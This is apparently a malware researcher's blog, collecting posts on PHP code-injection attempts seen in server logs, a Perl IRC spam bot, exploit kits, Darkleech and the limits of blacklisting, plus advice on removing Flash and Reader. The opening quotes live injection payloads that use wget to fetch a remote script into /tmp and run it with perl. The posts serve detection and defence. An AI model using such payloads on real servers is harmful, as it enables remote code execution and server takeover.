Recently You maybe saw strange input in server logs…
<?php system(“wget http://xxxxx.altervista.org/lol.c -O /tmp/shz;perl /tmp/shz”); ?>
<?php system(“wget http://126.96.36.199/lol.c -O /tmp/shz;perl /tmp/shz”); ?>
<?php system(“wget http://188.8.131.52/lol.c -O /tmp/shz;perl /tmp/shz”); ?>
What does that mean? Well, first of all, Your server potentially vulnerable to the PHP code injection, at least. Check and update\patch\fix it.
Second – check for processes, that run from /tmp/ folder and with default Apache user. If there are – You’ve been infected. Take care of it
Now, how exactly this stuff looks like?
VT sample, in case You curious: SHA256: 137bf0491f90742a6428a926ab30e29af0d9932389226bae3539c4482e123269
It’s IRC Server-oriented bot, with the main capability to SPAM. Language looks like Portuguese- Brazilian?
It also seen in wild since 2012, at least, Google said But older versions had less functionality. And now it back
That’s how it behave:
1. Script connect to IRC server, protected with credentials [unfortunately, it not available now]
2. Fetch list of the mails, names and addresses for replies from embedded URLs, compose the mail messages and send them in behalf of Apache user.
Among other bot capabilities:
- Proxy server
- Socks server
- Backdoor – command request and execution
And, since fun is everything in the malware hunting:
One of functions:
he\she is so exited
It’s not new player on this game field, but recently he\she back in business, so please be aware.
Well, review Your logs and\or update me, in case You have some additional info.
More than twice for the last 24 hours I was asked the non-trivial question:
Where do You find the targets for the malware hunt, if You’re not a part of the big team, malware researcher or not own a honeynet.
Actually, if You do want to fight a malware, IMHO it is very useful to have a honey-pot system, or, at least, be in security business somehow. It will provide You a non-stop flow of the malicious targets to review. But if You not, and You still want to help?
Disclamer: All links provided lead to lists of malicious or potentially malicious resources. Do not click there on any link, or don’t run any file, without proper knowledge, env prepared and skills trained.
Well, here are the few links, that aggregate latest known threats, that You can practice on:
Today story about Ferret DDoS bot.
For those who missed it – I started to hunt Ferret at about a month ago:
And about a week ago a research of Arbor Networks posted with quite nice analysis. Read it HERE.
It’s the end? Nope.
If You not yet aware of, Adobe reported that sources of few of most used applications on user’s desktops worldwide is stolen.
As a result, we definitely should expect wave of new 0days and more sophisticated attacks. If all previous history of Adobe products not convinced You to remove them from Your machine, I think this is a time
First of all – do You really need Adobe on Your [or You're customers] machines?
For Flash: Many sophisticated streaming video services [Youtube as example] allow You to see it content without Flash, based on HTML5 technology for long enough. For others – well, You may consider usage of PepperFlash [same sources, originally]. You may download streaming files from bunch of services and watch them locally [VLC will help You out]. Or – not play games, decline to see ton’s flash ads and switch to non-flash alternatives of Your favourite services. Contact vendors, tell them – You not using Flash anymore.
For Acrobat Reader: You already have plenty of options to choose. Foxit, Nitro, Evince [my recommendations]. Yes, not all of them work with browser, not every application or webservice know to interact with them. Your PC – Your choice
OK, let’s start:
Windows: Uninstall Adobe Flash and Adobe Acrobat Reader from Your computer and reboot.
Linux: use Your package manager. If You have no idea, what I am talking about – You should learn about system You using, bit more. But, for instance – in graphical mode You have Software Center in Ubuntu and PackageKit in Fedora.
But that’s not all!
In Firefox You may even disable Flash or Block it execution on page, without Your permission.
To completely disable it: – Tools – Add-ons – Plugins – Choose Shockwave Flash Player and choose “Never Activate”. and then – restart the browser
To block it from execution: You may install nice add-on called FlashBlock, that will allow You to permit execution of Flash application once in a time. Here You still vulnerable, but now It’s totally Your decision, and not “good will” of person who create web page.
In Chrome You’ll need to disable internal Flash plugin.
Enter in browser address bar “chrome://plugins/” with no quotes, press enter and drill down till “Adobe Flash Player” brick will appear. Choose “Disable” and restart the browser.
In Internet Explorer You’ll need to go to Tools – Manage Add-ons and among add-ons find Adobe *, pick each one of them and click “Disable”, and then restart the browser.
Well, maybe after all those changes Internet became less familiar, bit more difficult to find suitable service, but definitely faster, and way more secure for Your specific computer.
p.s. Suggestions, replacements and ideas – in comments, will add them with proper credit
Update1: thx Mohab Ali for some fixes in text
Well, I am sick again, alone at home, so looking for something to dig in…
And, as it appear to be, there is always something interesting happened.
If You familiar with ExploitKits, You know, that major feature of traffic filter is – PluginDetect.
It is JS script with huge amount of features, provided by legit and respectful authors.
Main usage for malicious purposes – detect an outdated plug-ins to serve “working” exploits for successful infection of a victim.
It also known to be part of malicious applications, and triggered respectively. There are products, that emulate JS, provide fake responses to PluginDetect to bypass it successfully.
Well, bottom line – it’s quite a mess to use it for traffic filtering.
But there are other ways, always…
First of all – for those who do not know, what PowerLoader is:
From ‘Aliens’ movie. Always wanted one to clean mess in my room at my teen-age.
But – we will talk about another Power Loader – v2.0
Well, it was gone for a while, and here it back
Email message sample:
Actually code looks like:
Attack, actually, run for about 48 hours already at least. You may see traces of it on URLQuery [36 entries by now]
When clicked – lead to BHEK2
BHEK2 payload – Cridex [22/46] and Fareit.
Second binary is interesting one, yes Wait for updates.
I wrote about Darkleech last year, and one of questions remain - among anti-forensics features of it, that seller declared, were:
- frame delivered to unique users only, no frame on repeat.
So – How it looks like for victim and how implemented?
Since than Linux/Chapro.A was posted in SecLists and analysed by Kaspersky and ESET.
Afterwards Eric Romang provided some details, that it appear to be version of Darkleech module.
And here it appear again: UnixFreaxJP blog report about massive attack on Japanese segment of Internet.
Well, It’s time to see, is it DarkLeech and how anti-forensics implemented there from client PoV
Ok. Let’s see on any of servers that in list:
Heh, when I am sick – it’s time to hunt…
Temperature: 37.8 C
Local Time: 23:00
Test machine: fully updated (pdf, flash, java up to 7.u17)
Live Exploit Kits in list: 5
What we testing:
How dangerous can be surfing for those who follow best practices – at least performing updates.
All behavior among tested Exploit Kits, can be described as:
- If plugin-detect present, than system realize that no vulnerable plugins detected, and
- no exploit served at all [Safe End]
- last available Java exploit served. [Fail]
- If plugin-detect not present, than all available exploits execute and fail.
* Sometimes LibTiff exploit crash the PDF plugin, once Java cause error message appears…
Bottom line – if machine is up to date – well, leave it, there are plenty of easy targets around.
Except for Cool Exploit Kit. Let me show You some fun stuff there…
“Democracy is the worst form of government, except for all those other forms that have been tried from time to time.” (Winston Churchill)
I wrote huge philosophic part here… But then – I realized, that too much ideology already dumped into Net, no need to add.
So – see mr. Churchill quote and add “BlackListing” instead of “Democracy” << this is exactly my point.
And making long story short – in providing protection against malware – blacklisting fail.
Blacklisting – “…a blacklist or block list is a basic access control mechanism that allows through all elements (email addresses, users, URLs, etc.), except those explicitly mentioned. Those items on the list are denied access…” (WikiPedia.org)
So, basically, how it should work:
1. Someone detect that IP x.x.x.x or domain badassmalwarehomepage.com is spreading malware, got Exploit Kit installed or some other malicious activity detected
2. IP or domain list added to blacklist – now all software that work with that blacklist, protected from entering this bad site.
3. Internet Safe! (Yeah… )
And how it works now:
1. Malicious IP or domain detected. It take some time to detect new attack, discover all infectors, gather all evidence and prepare to be reported
2. IP\domain reported. There are plenty of different lists, each have it rules. Take some time to re-check and add to list – otherwise it can be used for malicious purposes.
3. Clients not up to date, lists delivered from time to time, check with list take time and traffic. And bottom line – in fastest way it take 2-3 days to get stuff done. Attacker already got profit, monetized and planning new attack.
Nothing new for many of You, and as I said – it’d terrible solution, but we dont have another now.
But wait – it even worse
Malware don’t need to have it’s own IP\domain exposed to victims, or even malware researchers, on any level. Let me show You, how.